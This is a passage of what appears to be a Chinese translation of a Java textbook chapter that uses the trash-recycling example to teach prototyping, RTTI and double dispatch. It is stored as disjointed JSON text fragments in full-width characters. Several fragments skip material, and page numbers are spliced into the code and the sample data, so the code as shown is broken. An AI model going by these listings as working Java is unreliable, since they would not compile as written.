    {"text": "index ｐｕｂｌｉｃ Ａｌｕｍｉｎｕｍ（ｄｏｕｂｌｅ ｗｔ） ｛ ｓｕｐｅｒ（ｗｔ）； ｝ ｐｕｂｌｉｃ ｄｏｕｂｌｅ ｖａｌｕｅ（） ｛ ｒｅｔｕｒｎ ｖａｌ； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｖａｌｕｅ（ｄｏｕｂｌｅ ｎｅｗＶａｌ） ｛ ｖａｌ ＝ ｎｅｗＶａｌ； ｝ ｝ ／／／：￣ ／／： Ｐａｐｅｒ．ｊａｖａ ／／ Ｔｈｅ Ｐａｐｅｒ ｃｌａｓｓ ｗｉｔｈ ｐｒｏｔｏｔｙｐｉｎｇ ｐａｃｋａｇｅ ｃ１６．ｔｒａｓｈ； ｐｕｂｌｉｃ ｃｌａｓｓ Ｐａｐｅｒ ｅｘｔｅｎｄｓ Ｔｒａｓｈ ｛ ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｄｏｕｂｌｅ ｖａｌ ＝ ０．１０ｆ； ｐｕｂｌｉｃ Ｐａｐｅｒ（ｄｏｕｂｌｅ ｗｔ） ｛ ｓｕｐｅｒ（ｗｔ）； ｝ ｐｕｂｌｉｃ ｄｏｕｂｌｅ ｖａｌｕｅ（） ｛ ｒｅｔｕｒｎ ｖａｌ； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｖａｌｕｅ（ｄｏｕｂｌｅ ｎｅｗＶａｌ） ｛ ｖａｌ ＝ ｎｅｗＶａｌ； ｝ ｝ ／／／：￣ ／／： Ｇｌａｓｓ．ｊａｖａ ／／ Ｔｈｅ Ｇｌａｓｓ ｃｌａｓｓ ｗｉｔｈ ｐｒｏｔｏｔｙｐｉｎｇ ｐａｃｋａｇｅ ｃ１６．ｔｒａｓｈ； ｐｕｂｌｉｃ ｃｌａｓｓ Ｇｌａｓｓ ｅｘｔｅｎｄｓ Ｔｒａｓｈ ｛ ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｄｏｕｂｌｅ ｖａｌ ＝ ０．２３ｆ； ｐｕｂｌｉｃ Ｇｌａｓｓ（ｄｏｕｂｌｅ ｗｔ） ｛ ｓｕｐｅｒ（ｗｔ）； ｝ ｐｕｂｌｉｃ ｄｏｕｂｌｅ ｖａｌｕｅ（） ｛ ｒｅｔｕｒｎ ｖａｌ； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｖａｌｕｅ（ｄｏｕｂｌｅ ｎｅｗＶａｌ） ｛ ｖａｌ ＝ ｎｅｗＶａｌ； ｝ ｝ ／／／：￣ 下面是一种新的 Ｔｒａｓｈ 类型： ／／： Ｃａｒｄｂｏａｒｄ．ｊａｖａ ／／ Ｔｈｅ Ｃａｒｄｂｏａｒｄ ｃｌａｓｓ ｗｉｔｈ ｐｒｏｔｏｔｙｐｉｎｇ ｐａｃｋａｇｅ ｃ１６．ｔｒａｓｈ； ｐｕｂｌｉｃ ｃｌａｓｓ Ｃａｒｄｂｏａｒｄ ｅｘｔｅｎｄｓ Ｔｒａｓｈ ｛ ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｄｏｕｂｌｅ ｖａｌ ＝ ０．２３ｆ； ｐｕｂｌｉｃ Ｃａｒｄｂｏａｒｄ（ｄｏｕｂｌｅ ｗｔ） ｛ ｓｕｐｅｒ（ｗｔ）； ｝ ｐｕｂｌｉｃ ｄｏｕｂｌｅ ｖａｌｕｅ（） ｛ ｒｅｔｕｒｎ ｖａｌ； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｖａｌｕｅ（ｄｏｕｂｌｅ ｎｅｗＶａｌ） ｛ ｖａｌ ＝ ｎｅｗＶａｌ；"},
    {"text": "例如： ｃ１６．Ｔｒａｓｈ．Ｇｌａｓｓ：５４ ６００ ｃ１６．Ｔｒａｓｈ．Ｐａｐｅｒ：２２ ｃ１６．Ｔｒａｓｈ．Ｐａｐｅｒ：１１ ｃ１６．Ｔｒａｓｈ．Ｇｌａｓｓ：１７ ｃ１６．Ｔｒａｓｈ．Ａｌｕｍｉｎｕｍ：８９ ｃ１６．Ｔｒａｓｈ．Ｐａｐｅｒ：８８ ｃ１６．Ｔｒａｓｈ．Ａｌｕｍｉｎｕｍ：７６ ｃ１６．Ｔｒａｓｈ．Ｃａｒｄｂｏａｒｄ：９６ ｃ１６．Ｔｒａｓｈ．Ａｌｕｍｉｎｕｍ：２５ ｃ１６．Ｔｒａｓｈ．Ａｌｕｍｉｎｕｍ：３４ ｃ１６．Ｔｒａｓｈ．Ｇｌａｓｓ：１１ ｃ１６．Ｔｒａｓｈ．Ｇｌａｓｓ：６８ ｃ１６．Ｔｒａｓｈ．Ｇｌａｓｓ：４３ ｃ１６．Ｔｒａｓｈ．Ａｌｕｍｉｎｕｍ：２７ ｃ１６．Ｔｒａｓｈ．Ｃａｒｄｂｏａｒｄ：４４ ｃ１６．Ｔｒａｓｈ．Ａｌｕｍｉｎｕｍ：１８ ｃ１６．Ｔｒａｓｈ．Ｐａｐｅｒ：９１ ｃ１６．Ｔｒａｓｈ．Ｇｌａｓｓ：６３ ｃ１６．Ｔｒａｓｈ．Ｇｌａｓｓ：５０ ｃ１６．Ｔｒａｓｈ．Ｇｌａｓｓ：８０ ｃ１６．Ｔｒａｓｈ．Ａｌｕｍｉｎｕｍ：８１ ｃ１６．Ｔｒａｓｈ．Ｃａｒｄｂｏａｒｄ：１２ ｃ１６．Ｔｒａｓｈ．Ｇｌａｓｓ：１２ ｃ１６．Ｔｒａｓｈ．Ｇｌａｓｓ：５４ ｃ１６．Ｔｒａｓｈ．Ａｌｕｍｉｎｕｍ：３６ ｃ１６．Ｔｒａｓｈ．Ａｌｕｍｉｎｕｍ：９３ ｃ１６．Ｔｒａｓｈ．Ｇｌａｓｓ：９３ ｃ１６．Ｔｒａｓｈ．Ｐａｐｅｒ：８０ ｃ１６．Ｔｒａｓｈ．Ｇｌａｓｓ：３６ ｃ１６．Ｔｒａｓｈ．Ｇｌａｓｓ：１２ ｃ１６．Ｔｒａｓｈ．Ｇｌａｓｓ：６０ ｃ１６．Ｔｒａｓｈ．Ｐａｐｅｒ：６６ ｃ１６．Ｔｒａｓｈ．Ａｌｕｍｉｎｕｍ：３６ ｃ１６．Ｔｒａｓｈ．Ｃａｒｄｂｏａｒｄ：２２ 注意在给定类名的时候，类路径必须包含在内，否则就找不到类。"},
    {"text": "首先用字串方法 ｓｕｂｓｔｒｉｎｇ（）取出垃圾的类型名称，接着用一个静态方法 Ｄｏｕｂｌｅ．ｖａｌｕｅＯｆ（）取得相应的值，并转换成一个 ｄｏｕｂｌｅ 值。"},
    {"text": "如下所示： ／／： ＰａｒｓｅＴｒａｓｈ．ｊａｖａ ／／ Ｏｐｅｎ ａ ｆｉｌｅ ａｎｄ ｐａｒｓｅ ｉｔｓ ｃｏｎｔｅｎｔｓ ｉｎｔｏ ／／ Ｔｒａｓｈ ｏｂｊｅｃｔｓ， ｐｌａｃｉｎｇ ｅａｃｈ ｉｎｔｏ ａ Ｖｅｃｔｏｒ ｐａｃｋａｇｅ ｃ１６．ｔｒａｓｈ；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＰａｒｓｅＴｒａｓｈ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｆｉｌｌＢｉｎ（Ｓｔｒｉｎｇ ｆｉｌｅｎａｍｅ， Ｆｉｌｌａｂｌｅ ｂｉｎ） ｛ ｔｒｙ ｛ ＢｕｆｆｅｒｅｄＲｅａｄｅｒ ｄａｔａ ＝ ｎｅｗ ＢｕｆｆｅｒｅｄＲｅａｄｅｒ（ ６０１ ｎｅｗ ＦｉｌｅＲｅａｄｅｒ（ｆｉｌｅｎａｍｅ））；"},
    {"text": "Ｓｔｒｉｎｇ ｂｕｆ； ｗｈｉｌｅ（（ｂｕｆ ＝ ｄａｔａ．ｒｅａｄＬｉｎｅ（））！ ＝ ｎｕｌｌ） ｛ Ｓｔｒｉｎｇ ｔｙｐｅ ＝ ｂｕｆ．ｓｕｂｓｔｒｉｎｇ（０， ｂｕｆ．ｉｎｄｅｘＯｆ（＇：＇））．ｔｒｉｍ（）； ｄｏｕｂｌｅ ｗｅｉｇｈｔ ＝ Ｄｏｕｂｌｅ．ｖａｌｕｅＯｆ（ ｂｕｆ．ｓｕｂｓｔｒｉｎｇ（ｂｕｆ．ｉｎｄｅｘＯｆ（＇：＇） ＋ １） ．ｔｒｉｍ（））．ｄｏｕｂｌｅＶａｌｕｅ（）； ｂｉｎ．ａｄｄＴｒａｓｈ（ Ｔｒａｓｈ．ｆａｃｔｏｒｙ（ ｎｅｗ Ｔｒａｓｈ．Ｉｎｆｏ（ｔｙｐｅ， ｗｅｉｇｈｔ）））； ｝ ｄａｔａ．ｃｌｏｓｅ（）； ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）； ｝ ｝ ／／ Ｓｐｅｃｉａｌ ｃａｓｅ ｔｏ ｈａｎｄｌｅ Ｖｅｃｔｏｒ： ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｆｉｌｌＢｉｎ（Ｓｔｒｉｎｇ ｆｉｌｅｎａｍｅ， Ｖｅｃｔｏｒ ｂｉｎ） ｛ ｆｉｌｌＢｉｎ（ｆｉｌｅｎａｍｅ， ｎｅｗ ＦｉｌｌａｂｌｅＶｅｃｔｏｒ（ｂｉｎ））； ｝ ｝ ／／／：￣ 在 ＲｅｃｙｃｌｅＡ．ｊａｖａ 中，我们用一个 Ｖｅｃｔｏｒ 容纳 Ｔｒａｓｈ 对象。"},
    {"text": "后者是一个接口，用于支持一个名为 ａｄｄＴｒａｓｈ（）的方法： ／／： Ｆｉｌｌａｂｌｅ．ｊａｖａ ／／ Ａｎｙ ｏｂｊｅｃｔ ｔｈａｔ ｃａｎ ｂｅ ｆｉｌｌｅｄ ｗｉｔｈ Ｔｒａｓｈ ｐａｃｋａｇｅ ｃ１６．ｔｒａｓｈ；"},
    {"text": "利用一个适配器（Ａｄａｐｔｅｒ）类，这个 Ｖｅｃｔｏｒ 可作为一个 Ｆｉｌｌａｂｌｅ 对象使用： ／／： ＦｉｌｌａｂｌｅＶｅｃｔｏｒ．ｊａｖａ ／／ Ａｄａｐｔｅｒ ｔｈａｔ ｍａｋｅｓ ａ Ｖｅｃｔｏｒ Ｆｉｌｌａｂｌｅ ｐａｃｋａｇｅ ｃ１６．ｔｒａｓｈ；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＦｉｌｌａｂｌｅＶｅｃｔｏｒ ｉｍｐｌｅｍｅｎｔｓ Ｆｉｌｌａｂｌｅ ｛ ｐｒｉｖａｔｅ Ｖｅｃｔｏｒ ｖ； ｐｕｂｌｉｃ ＦｉｌｌａｂｌｅＶｅｃｔｏｒ（Ｖｅｃｔｏｒ ｖｖ） ｛ ｖ ＝ ｖｖ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｄｄＴｒａｓｈ（Ｔｒａｓｈ ｔ） ｛ ｖ．ａｄｄＥｌｅｍｅｎｔ（ｔ）；"},
    {"text": "｝ ６０２ ｝ ／／／：￣ 可以看到，这个类唯一的任务就是负责将 Ｆｉｌｌａｂｌｅ 的 ａｄｄＴｒａｓｈ（）同 Ｖｅｃｔｏｒ 的 ａｄｄＥｌｅｍｅｎｔ（）方法连接起来。 利用这个类，已过载的 ｆｉｌｌＢｉｎ（）方法可在 ＰａｒｓｅＴｒａｓｈ．ｊａｖａ 中伴随一个 Ｖｅｃｔｏｒ 使用： ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｆｉｌｌＢｉｎ（Ｓｔｒｉｎｇ ｆｉｌｅｎａｍｅ， Ｖｅｃｔｏｒ ｂｉｎ） ｛ ｆｉｌｌＢｉｎ（ｆｉｌｅｎａｍｅ， ｎｅｗ ＦｉｌｌａｂｌｅＶｅｃｔｏｒ（ｂｉｎ））；"},
    {"text": "３． 原型机制的重复应用 现在，大家可以看到采用原型技术的、修订过的 ＲｅｃｙｃｌｅＡ．ｊａｖａ 版本了： ／／： ＲｅｃｙｃｌｅＡＰ．ｊａｖａ ／／ Ｒｅｃｙｃｌｉｎｇ ｗｉｔｈ ＲＴＴＩ ａｎｄ Ｐｒｏｔｏｔｙｐｅｓ ｐａｃｋａｇｅ ｃ１６．ｒｅｃｙｃｌｅａｐ；"},
    {"text": "ｉｍｐｏｒｔ ｃ１６．ｔｒａｓｈ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＲｅｃｙｃｌｅＡＰ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｖｅｃｔｏｒ ｂｉｎ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； ／／ Ｆｉｌｌ ｕｐ ｔｈｅ Ｔｒａｓｈ ｂｉｎ： ＰａｒｓｅＴｒａｓｈ．ｆｉｌｌＢｉｎ（＂Ｔｒａｓｈ．ｄａｔ＂， ｂｉｎ）； Ｖｅｃｔｏｒ ｇｌａｓｓＢｉｎ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）， ｐａｐｅｒＢｉｎ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）， ａｌＢｉｎ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； Ｅｎｕｍｅｒａｔｉｏｎ ｓｏｒｔｅｒ ＝ ｂｉｎ．ｅｌｅｍｅｎｔｓ（）； ／／ Ｓｏｒｔ ｔｈｅ Ｔｒａｓｈ： ｗｈｉｌｅ（ｓｏｒｔｅｒ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） ｛ Ｏｂｊｅｃｔ ｔ ＝ ｓｏｒｔｅｒ．ｎｅｘｔＥｌｅｍｅｎｔ（）； ／／ ＲＴＴＩ ｔｏ ｓｈｏｗ ｃｌａｓｓ ｍｅｍｂｅｒｓｈｉｐ： ｉｆ（ｔ ｉｎｓｔａｎｃｅｏｆ Ａｌｕｍｉｎｕｍ） ａｌＢｉｎ．ａｄｄＥｌｅｍｅｎｔ（ｔ）； ｉｆ（ｔ ｉｎｓｔａｎｃｅｏｆ Ｐａｐｅｒ） ｐａｐｅｒＢｉｎ．ａｄｄＥｌｅｍｅｎｔ（ｔ）； ｉｆ（ｔ ｉｎｓｔａｎｃｅｏｆ Ｇｌａｓｓ） ｇｌａｓｓＢｉｎ．ａｄｄＥｌｅｍｅｎｔ（ｔ）； ｝ Ｔｒａｓｈ．ｓｕｍＶａｌｕｅ（ａｌＢｉｎ）； Ｔｒａｓｈ．ｓｕｍＶａｌｕｅ（ｐａｐｅｒＢｉｎ）； Ｔｒａｓｈ．ｓｕｍＶａｌｕｅ（ｇｌａｓｓＢｉｎ）； Ｔｒａｓｈ．ｓｕｍＶａｌｕｅ（ｂｉｎ）；"},
    {"text": "｝ ｝ ／／／：￣ 所有 Ｔｒａｓｈ 对象——以及 ＰａｒｓｅＴｒａｓｈ 及支撑类——现在都成为名为 ｃ１６．ｔｒａｓｈ 的一个包的一部分，所以它们 可以简单地导入。"},
    {"text": "无论打开包含了 Ｔｒａｓｈ 描述信息的数据文件，还是对那个文件进行解析，所有涉及到的操作均已封装到 ６０３ ｓｔａｔｉｃ（静态）方法 ＰａｒｓｅＴｒａｓｈ．ｆｉｌｌＢｉｎ（）里。"},
    {"text": "在 本章剩余的部分，大家经常都会看到无论添加的是什么类型的新类，ＰａｒｓｅＴｒａｓｈ．ｆｉｌｌＢｉｎ（）都会持续工作， 不会发生改变，这无疑是一种优良的设计方案。"},
    {"text": "但假如以这种形式过多地使用 ＲＴＴＩ，而且又在自己的 系统里添加了一种新类型，很容易就会忘记在程序里作出适当的改动，从而埋下以后难以发现的 Ｂｕｇ。"},
    {"text": "可以想象， ＴｒａｓｈＳｏｒｔｅｒ 类看起来应该象下面这个样子： ｃｌａｓｓ ＴｒａｓｈＳｏｒｔｅｒ ｅｘｔｅｎｄｓ Ｖｅｃｔｏｒ ｛ ｖｏｉｄ ｓｏｒｔ（Ｔｒａｓｈ ｔ） ｛ ／＊ ．．． ＊／ ｝ ｝ 也就是说，ＴｒａｓｈＳｏｒｔｅｒ 是由一系列句柄构成的 Ｖｅｃｔｏｒ（系列），而那些句柄指向的又是由 Ｔｒａｓｈ 句柄构成 的 Ｖｅｃｔｏｒ；"},
    {"text": "利用 ａｄｄＥｌｅｍｅｎｔ（），可以安装新的 ＴｒａｓｈＳｏｒｔｅｒ，如下所示： ＴｒａｓｈＳｏｒｔｅｒ ｔｓ ＝ ｎｅｗ ＴｒａｓｈＳｏｒｔｅｒ（）； ｔｓ．ａｄｄＥｌｅｍｅｎｔ（ｎｅｗ Ｖｅｃｔｏｒ（））；"},
    {"text": "对于容纳 Ｐａｐｅｒ（纸 张）的 Ｖｅｃｔｏｒ，以及容纳 Ｇｌａｓｓ（玻璃）的 Ｖｅｃｔｏｒ，大家最开始或许会认为分别用于它们的 ｇｒａｂ（）方法肯定 会产生不同的行为。"},
    {"text": "可将其解释成一种不同的状态， 而且由于 Ｊａｖａ 有一个类可表示类型（Ｃｌａｓｓ），所以可用它判断特定的 Ｔｂｉｎ 要容纳什么类型的 Ｔｒａｓｈ。"},
    {"text": "／／： ＲｅｃｙｃｌｅＢ．ｊａｖａ ／／ Ａｄｄｉｎｇ ｍｏｒｅ ｏｂｊｅｃｔｓ ｔｏ ｔｈｅ ｒｅｃｙｃｌｉｎｇ ｐｒｏｂｌｅｍ ｐａｃｋａｇｅ ｃ１６．ｒｅｃｙｃｌｅｂ； ｉｍｐｏｒｔ ｃ１６．ｔｒａｓｈ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ／／ Ａ ｖｅｃｔｏｒ ｔｈａｔ ａｄｍｉｔｓ ｏｎｌｙ ｔｈｅ ｒｉｇｈｔ ｔｙｐｅ： ｃｌａｓｓ Ｔｂｉｎ ｅｘｔｅｎｄｓ Ｖｅｃｔｏｒ ｛ Ｃｌａｓｓ ｂｉｎＴｙｐｅ； Ｔｂｉｎ（Ｃｌａｓｓ ｂｉｎＴｙｐｅ） ｛ ｔｈｉｓ．ｂｉｎＴｙｐｅ ＝ ｂｉｎＴｙｐｅ； ｝ ｂｏｏｌｅａｎ ｇｒａｂ（Ｔｒａｓｈ ｔ） ｛ ／／ Ｃｏｍｐａｒｉｎｇ ｃｌａｓｓ ｔｙｐｅｓ： ｉｆ（ｔ．ｇｅｔＣｌａｓｓ（）．ｅｑｕａｌｓ（ｂｉｎＴｙｐｅ）） ｛ ａｄｄＥｌｅｍｅｎｔ（ｔ）； ｒｅｔｕｒｎ ｔｒｕｅ； ／／ Ｏｂｊｅｃｔ ｇｒａｂｂｅｄ ｝ ｒｅｔｕｒｎ ｆａｌｓｅ； ／／ Ｏｂｊｅｃｔ ｎｏｔ ｇｒａｂｂｅｄ ｝ ｝ ｃｌａｓｓ ＴｂｉｎＬｉｓｔ ｅｘｔｅｎｄｓ Ｖｅｃｔｏｒ ｛ ／／（＊１＊） ｂｏｏｌｅａｎ ｓｏｒｔ（Ｔｒａｓｈ ｔ） ｛ Ｅｎｕｍｅｒａｔｉｏｎ ｅ ＝ ｅｌｅｍｅｎｔｓ（）； ６０５ ｗｈｉｌｅ（ｅ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） ｛ Ｔｂｉｎ ｂｉｎ ＝ （Ｔｂｉｎ）ｅ．ｎｅｘｔＥｌｅｍｅｎｔ（）； ｉｆ（ｂｉｎ．ｇｒａｂ（ｔ）） ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ｒｅｔｕｒｎ ｆａｌｓｅ； ／／ ｂｉｎ ｎｏｔ ｆｏｕｎｄ ｆｏｒ ｔ ｝ ｖｏｉｄ ｓｏｒｔＢｉｎ（Ｔｂｉｎ ｂｉｎ） ｛ ／／ （＊２＊） Ｅｎｕｍｅｒａｔｉｏｎ ｅ ＝ ｂｉｎ．ｅｌｅｍｅｎｔｓ（）； ｗｈｉｌｅ（ｅ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） ｉｆ（！ ｓｏｒｔ（（Ｔｒａｓｈ）ｅ．ｎｅｘｔＥｌｅｍｅｎｔ（））） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｂｉｎ ｎｏｔ ｆｏｕｎｄ＂）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＲｅｃｙｃｌｅＢ ｛ ｓｔａｔｉｃ Ｔｂｉｎ ｂｉｎ ＝ ｎｅｗ Ｔｂｉｎ（Ｔｒａｓｈ．ｃｌａｓｓ）； ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ／／ Ｆｉｌｌ ｕｐ ｔｈｅ Ｔｒａｓｈ ｂｉｎ： ＰａｒｓｅＴｒａｓｈ．ｆｉｌｌＢｉｎ（＂Ｔｒａｓｈ．ｄａｔ＂， ｂｉｎ）； ＴｂｉｎＬｉｓｔ ｔｒａｓｈＢｉｎｓ ＝ ｎｅｗ ＴｂｉｎＬｉｓｔ（）； ｔｒａｓｈＢｉｎｓ．ａｄｄＥｌｅｍｅｎｔ（ ｎｅｗ Ｔｂｉｎ（Ａｌｕｍｉｎｕｍ．ｃｌａｓｓ））； ｔｒａｓｈＢｉｎｓ．ａｄｄＥｌｅｍｅｎｔ（ ｎｅｗ Ｔｂｉｎ（Ｐａｐｅｒ．ｃｌａｓｓ））； ｔｒａｓｈＢｉｎｓ．ａｄｄＥｌｅｍｅｎｔ（ ｎｅｗ Ｔｂｉｎ（Ｇｌａｓｓ．ｃｌａｓｓ））； ／／ ａｄｄ ｏｎｅ ｌｉｎｅ ｈｅｒｅ： （＊３＊） ｔｒａｓｈＢｉｎｓ．ａｄｄＥｌｅｍｅｎｔ（ ｎｅｗ Ｔｂｉｎ（Ｃａｒｄｂｏａｒｄ．ｃｌａｓｓ））； ｔｒａｓｈＢｉｎｓ．ｓｏｒｔＢｉｎ（ｂｉｎ）； ／／ （＊４＊） Ｅｎｕｍｅｒａｔｉｏｎ ｅ ＝ ｔｒａｓｈＢｉｎｓ．ｅｌｅｍｅｎｔｓ（）； ｗｈｉｌｅ（ｅ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） ｛ Ｔｂｉｎ ｂ ＝ （Ｔｂｉｎ）ｅ．ｎｅｘｔＥｌｅｍｅｎｔ（）； Ｔｒａｓｈ．ｓｕｍＶａｌｕｅ（ｂ）； ｝ Ｔｒａｓｈ．ｓｕｍＶａｌｕｅ（ｂｉｎ）；"},
    {"text": "｝ ｝ ／／／：￣ （１） ＴｂｉｎＬｉｓｔ 容纳一系列 Ｔｂｉｎ 句柄，所以在查找与我们传递给它的 Ｔｒａｓｈ 对象相符的情况时，ｓｏｒｔ（）能通 过 Ｔｂｉｎ 继承。"},
    {"text": "（２） ｓｏｒｔＢｉｎ（）允许我们将一个完整的 Ｔｂｉｎ 传递进去，而且它会在 Ｔｂｉｎ 里遍历，挑选出每种 Ｔｒａｓｈ，并将其 归类到特定的 Ｔｂｉｎ 中。"},
    {"text": "请注意这些代码的通用性：新类型加入时，它本身不需要任何改动。 只要新类型加入 （或发生其他事件）时大量代码都不需要变化，就表明我们设计的是一个容易扩展的系统。"},
    {"text": "为达到这个目标，首先必须认识到：对所有与不同类型有特殊关联的活动来说——比如侦测一种垃圾的具体 类型，并把它置入适当的垃圾筒里——这些活动都应当通过多形性以及动态绑定加以控制。"},
    {"text": "为解决这个缺陷，我们需要用到“多重派遣”机制，这意味着需要建立一个配置，使单一方法调用能产生多 个动态方法调用，从而在一次处理过程中正确判断出多种类型。"},
    {"text": "下面的例子将对两个结构进行操作：现有的 Ｔｒａｓｈ 系列以及由垃圾 筒（Ｔｒａｓｈ Ｂｉｎ）的类型构成的一个系列——不同的垃圾或废品将置入这些筒内。"},
    {"text": "１ ６ ． ６ ． １ 实现双重派遣 记住多形性只能通过方法调用才能表现出来，所以假如想使双重派遣正确进行，必须执行两个方法调用：在 每种结构中都用一个来判断其中的类型。"},
    {"text": "然而，假如没有对源码的控制权，那么还有另一个办法 可以考虑：将 ａｄｄＴｏＢｉｎ（）方法置入一个接口内部，保持 Ｔｒａｓｈ 不变，并继承新的、特殊的类型 Ａｌｕｍｉｎｕｍ， Ｐａｐｅｒ，Ｇｌａｓｓ 以及 Ｃａｒｄｂｏａｒｄ。"},
    {"text": "下面列出接 口代码： ／／： ＴｙｐｅｄＢｉｎＭｅｍｂｅｒ．ｊａｖａ ／／ Ａｎ ｉｎｔｅｒｆａｃｅ ｆｏｒ ａｄｄｉｎｇ ｔｈｅ ｄｏｕｂｌｅ ｄｉｓｐａｔｃｈｉｎｇ ／／ ｍｅｔｈｏｄ ｔｏ ｔｈｅ ｔｒａｓｈ ｈｉｅｒａｒｃｈｙ ｗｉｔｈｏｕｔ ／／ ｍｏｄｉｆｙｉｎｇ ｔｈｅ ｏｒｉｇｉｎａｌ ｈｉｅｒａｒｃｈｙ． ｐａｃｋａｇｅ ｃ１６．ｄｏｕｂｌｅｄｉｓｐａｔｃｈ；"},
    {"text": "ｉｎｔｅｒｆａｃｅ ＴｙｐｅｄＢｉｎＭｅｍｂｅｒ ｛ ／／ Ｔｈｅ ｎｅｗ ｍｅｔｈｏｄ： ｂｏｏｌｅａｎ ａｄｄＴｏＢｉｎ（ＴｙｐｅｄＢｉｎ［］ ｔｂ）；"},
    {"text": "｝ ／／／：￣ 在 Ａｌｕｍｉｎｕｍ ，Ｐａｐｅｒ，Ｇｌａｓｓ 以及 Ｃａｒｄｂｏａｒｄ 每个特定的子类型内，都会实现接口 ＴｙｐｅＢｉｎＭｅｍｂｅｒ 的 ａｄｄＴｏＢｉｎ（）方法，但每种情况下使用的代码“似乎”都是完全一样的： ／／： ＤＤＡｌｕｍｉｎｕｍ．ｊａｖａ ／／ Ａｌｕｍｉｎｕｍ ｆｏｒ ｄｏｕｂｌｅ ｄｉｓｐａｔｃｈｉｎｇ ｐａｃｋａｇｅ ｃ１６．ｄｏｕｂｌｅｄｉｓｐａｔｃｈ；"},
    {"text": "ｉｍｐｏｒｔ ｃ１６．ｔｒａｓｈ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＤＤＡｌｕｍｉｎｕｍ ｅｘｔｅｎｄｓ Ａｌｕｍｉｎｕｍ ｉｍｐｌｅｍｅｎｔｓ ＴｙｐｅｄＢｉｎＭｅｍｂｅｒ ｛ ｐｕｂｌｉｃ ＤＤＡｌｕｍｉｎｕｍ（ｄｏｕｂｌｅ ｗｔ） ｛ ｓｕｐｅｒ（ｗｔ）； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｄｄＴｏＢｉｎ（ＴｙｐｅｄＢｉｎ［］ ｔｂ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｔｂ．ｌｅｎｇｔｈ； ｉ＋＋） ｉｆ（ｔｂ［ｉ］．ａｄｄ（ｔｈｉｓ）） ｒｅｔｕｒｎ ｔｒｕｅ； ｒｅｔｕｒｎ ｆａｌｓｅ； ｝ ｝ ／／／：￣ ／／： ＤＤＰａｐｅｒ．ｊａｖａ ／／ Ｐａｐｅｒ ｆｏｒ ｄｏｕｂｌｅ ｄｉｓｐａｔｃｈｉｎｇ ｐａｃｋａｇｅ ｃ１６．ｄｏｕｂｌｅｄｉｓｐａｔｃｈ； ｉｍｐｏｒｔ ｃ１６．ｔｒａｓｈ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＤＤＰａｐｅｒ ｅｘｔｅｎｄｓ Ｐａｐｅｒ ｉｍｐｌｅｍｅｎｔｓ ＴｙｐｅｄＢｉｎＭｅｍｂｅｒ ｛ ｐｕｂｌｉｃ ＤＤＰａｐｅｒ（ｄｏｕｂｌｅ ｗｔ） ｛ ｓｕｐｅｒ（ｗｔ）； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｄｄＴｏＢｉｎ（ＴｙｐｅｄＢｉｎ［］ ｔｂ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｔｂ．ｌｅｎｇｔｈ； ｉ＋＋） ｉｆ（ｔｂ［ｉ］．ａｄｄ（ｔｈｉｓ）） ｒｅｔｕｒｎ ｔｒｕｅ； ｒｅｔｕｒｎ ｆａｌｓｅ； ｝ ｝ ／／／：￣ ／／： ＤＤＧｌａｓｓ．ｊａｖａ ／／ Ｇｌａｓｓ ｆｏｒ ｄｏｕｂｌｅ ｄｉｓｐａｔｃｈｉｎｇ ｐａｃｋａｇｅ ｃ１６．ｄｏｕｂｌｅｄｉｓｐａｔｃｈ； ｉｍｐｏｒｔ ｃ１６．ｔｒａｓｈ．＊； ６０８ ｐｕｂｌｉｃ ｃｌａｓｓ ＤＤＧｌａｓｓ ｅｘｔｅｎｄｓ Ｇｌａｓｓ ｉｍｐｌｅｍｅｎｔｓ ＴｙｐｅｄＢｉｎＭｅｍｂｅｒ ｛ ｐｕｂｌｉｃ 